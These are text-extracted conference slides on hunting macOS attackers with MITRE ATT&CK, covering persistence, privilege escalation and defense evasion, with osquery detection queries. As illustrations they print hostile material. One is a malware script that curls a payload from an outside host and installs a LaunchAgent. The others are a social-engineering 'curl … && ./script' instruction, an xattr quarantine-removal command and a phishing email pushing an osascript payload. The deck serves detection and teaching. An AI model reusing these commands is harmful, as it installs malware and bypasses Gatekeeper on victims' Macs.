


When Macs Come Under ATT&CK



Richie Cyrus (@rrcyrus)

- Senior Adversary Detection Analyst
@SpecterOps
- Apple Fanboy
- Sad New York Knicks Fan



Outline

Need for macOS Threat Hunting 

macOS Attack Landscape 

Hunt Methodology 


Tools & Data 

Adversary Techniques/Detections 

Threat Hunting Demo 





Macs Are Getting Attacked



New MacOS Backdoor Linked to OceanLotus Found

New Xagent Mac Malware Linked with the
APT28




Threat Hunting



Actively searching for malicious activity in the environment
that has evaded current in place defenses.

“Fundamentally, if somebody wants to get in, they’re getting in... accept that. What we tell clients is: ‘Number one, you’re in the fight, whether you thought you were or not. Number two, you almost certainly are penetrated.’”

-Michael Hayden (Former Director of NSA and CIA)



Matt Graeber
@mattifestation

Follow

If you embrace an "assume breach" mentality, you introduce the "attacker's dilemma" into the equation.


1:19 PM - 14 Feb 2017

How can we detect attacker's **behaviors**
and activity **post-compromise** ?



Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection
AppleScript	.bash_profile and .bashrc	Dylib Hijacking	Binary Padding	Bash History	Account Discovery	AppleScript	Audio Capture
Command-Line Interface	Browser Extensions	Exploitation for Privilege Escalation	Clear Command History	Brute Force	Application Window Discovery	Application Deployment Software	Automated Collection
Exploitation for Client Execution	Create Account	Launch Daemon	Code Signing	Credentials in Files	Browser Bookmark Discovery	Exploitation of Remote Services	Clipboard Data
Graphical User Interface	Dylib Hijacking	Plist Modification	Disabling Security Tools	Exploitation for Credential Access	File and Directory Discovery	Logon Scripts	Data Staged
Launchctl	Hidden Files and Directories	Process Injection	Exploitation for Defense Evasion	Input Capture	Network Service Scanning	Remote File Copy	Data from Information Repositories
Local Job Scheduling	Kernel Modules and Extensions	Setuid and Setgid	File Deletion	Input Prompt	Network Share Discovery	Remote Services	Data from Local System
Scripting	LC_LOAD_DYLIB Addition	Startup Items	Gatekeeper Bypass	Keychain	Password Policy Discovery	SSH Hijacking	Data from Network Shared Drive

Hunt Methodology




Creating A Minefield


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Scripting	LC_LOAD_DYLIB Addition	Startup Items 	Gatekeeper Bypass 	Keychain	Password Policy Discovery	SSH Hijacking	Data from Network Shared Drive

Show Me The Data

MITRE ATT&CK MacOS Data Sources



Google Santa




- Kernel Extension
- Application Whitelisting via Whitelisting/Blacklisting
- Process Monitoring

XNUmon

The screenshot shows a GitHub repository page for 'droe / xnumon'. The repository name is 'xnumon'. Below the name, there are navigation links: 'Code' (selected), 'Issues 11', 'Pull requests 0', 'Wiki', and 'Insights'. A description below the links reads 'monitor macOS for malicious activity' followed by a link 'https://www.roe.ch/xnumon'. At the bottom, there are several tags: 'macos', 'security', 'process-monitoring', 'security-monitoring', 'endpoint-security', and 'agent'.

- Sysmon for Macs
- Logging of persistent items
- Process Monitoring

Facebook osquery




- File Integrity Monitoring
- Scheduled queries (Enterprise sweeps)
- Yara Scanning
- Process Monitoring

Persistence



LaunchAgents & LaunchDaemons



```
Ghosts-MBP:LaunchAgents casper$ plutil -p at.obdev.LittleSnitchUIAgent.plist
{
    "KeepAlive" => 1
    "Label" => "at.obdev.LittleSnitchUIAgent"
    "ProgramArguments" => [
        0 => "/Library/Little Snitch/Little Snitch Agent.app/Contents/MacOS/Little Snitch Agent"
    ]
    "RunAtLoad" => 1
}
```

The screenshot shows a macOS security dialog and a terminal window. The dialog is titled "cp installed a launch daemon or agent" and displays the following information:


- cp** (Apple Code Signing Cert Auth)
process id: 1251
process path: /bin/cp
- com.apple.audio.driver** (unsigned)
startup file: /Library/LaunchDaemons/com.apple.audio.driver.plist
startup binary: /private/var/tmp/com.apple.audio.driver.app/Contents/MacOS/com.apple.audio.driver

The dialog also shows a process tree:

```
virus total ancestry
    \launchd (pid: 1)
        \com.apple.audio.driver (pid: 1242)
            cp (pid: 1251)
```

At the bottom of the dialog are three buttons: remember, **Block**, and **Allow**.

The terminal window below shows a shell script being run:\$ cat Firefox.app/Contents/Resources/script
open Firefox.app
if [-f ~/Library/mdworker/mdworker]; then
 killall MozillaFirefox
else
 nohup curl -o ~/Library/mdworker.zip
 https://public.adobecc.com/files/1U14RSV3MVAHBMEGVS4LZ42AFNYEFF
 ?content_disposition=attachment
 && unzip -o ~/Library/mdworker.zip -d ~/Library
 && mkdir -p ~/Library/LaunchAgents
 && mv ~/Library/mdworker/MacOSupdate.plist ~/Library/LaunchAgents
 && sleep 300
 && launchctl load -w ~/Library/LaunchAgents/MacOSupdate.plist
 && rm -rf ~/Library/mdworker.zip
 && killall MozillaFirefox &



installed a launch daemon or agent

cp (Apple Code Signing Cert Auth)
process id: 1251
process path: /bin/cp

com.apple.audio.driver (unsigned)


startup file: /Library/LaunchDaemons/com.apple.audio.driver.plist
startup binary: /private/var/tmp/com.apple.audio.driver.app/Contents/MacOS/com.apple.audio.driver

time: 12:33:25

remember

Block

Allow



▼ launchd (pid: 1)

▼ com.apple.audio.driver (pid: 1242)
cp (pid: 1251)



SPECTEROPS

Hypothesis: An attacker has compromised at least one system and is persisting via a Launch Agent or Launch Daemon.


```
select * FROM signature s
    JOIN launchd d ON
        d.program_arguments = s.path
WHERE d.name LIKE 'com.apple.%'
        AND
signed=0 AND d.run_at_load=1;
```

Detection Robustness

Hypothesis: An attacker has compromised at least one system and is persisting via a **SIGNED** Launch Agent or Launch Daemon in which the associated binary is **NOT** signed by Apple.

```
select * from signature s
JOIN launchd d ON d.program_arguments = s.path
WHERE d.name like 'com.apple.%' and signed=1
    AND authority!='Software Signing'
    AND d.run_at_load=1 AND
arch='i386';
```

Privilege Escalation





Derbycon.app wants to install Smirnoff Ice

Enter an administrator's name and password to allow this.

User Name:

Password:

Cancel

OK

Hypothesis: An attacker has compromised at least one system and has escalated privileges through the use of sudo.


Baselining of the use of **sudo** in the environment.

Use of **/usr/libexec/security_authtrampoline**


Defense Evasion



File Quarantine



Gatekeeper



XProtect



System Integrity Protection

```
sh-3.2# id
uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem
f),29(certusers),61(localaccounts),80(admin),702(com.appl
8(_lpadmin),100(_lpoperator),204(_developer),250(_analyti
399(com.apple.access_ssh)
sh-3.2# touch /usr/bin
touch: /usr/bin: Operation not permitted
sh-3.2# csrutil status
System Integrity Protection status: enabled.
sh-3.2# Protection's csrutil status' message change for OS X 10.11.2
```

Gatekeeper Bypass

Today at 8:18 PM
Type this :
`cd /tmp && curl -s curl https://[REDACTED] > script && chmod +x script && ./script`
It will make sure your port is open for [REDACTED]
After this open the [REDACTED] software and tell me if the transaction is still processing
Any luck ?

`xattr -d -r com.apple.quarantine "/Users/derby/.evilApple"`

Hypothesis: An attacker has compromised at least one system and is attempting to evade defenses, specifically SIP and/or Gatekeeper.

Point-In-Time:

```
SELECT * FROM sip_config WHERE config_flag='sip' AND enabled = '0';
```

Real Time via Process Monitoring:

- Baseline use of curl, python, wget for attempts to download files.
- Monitor for use of spctl to disable Gatekeeper.
- Monitor for use of xattr with parameters of -d -r to remove attributes.

All,

Tomorrow all macOS systems will be updated to the latest version 10.14 Mojave. Your existing network settings will not work with the current version.

Please do the following:

1. Download the file below




NetworkUpdate.apple
script
[1 KB](#)

2. Open Terminal.app and enter the following command:


[osascript](#) Downloads/NetworkUpdate.apple &

Failure to do so may affect your ability to connect to the corporate network.

Hypothesis: An attacker has compromised at least one system and executing malicious code via AppleScript.



Attacker



Demo

Credits/Resources


***OS Internals Volume III - Security & Insecurity**
[objective-see.com](#)

<https://isc.sans.edu/forums/diary/Crypto+community+target+of+MacOS+malware/23816/>

<https://support.apple.com/en-us/HT201940>

<https://thehackernews.com/2017/02/mac-osx-macro-malware.html>

Q&A



@rrcyrus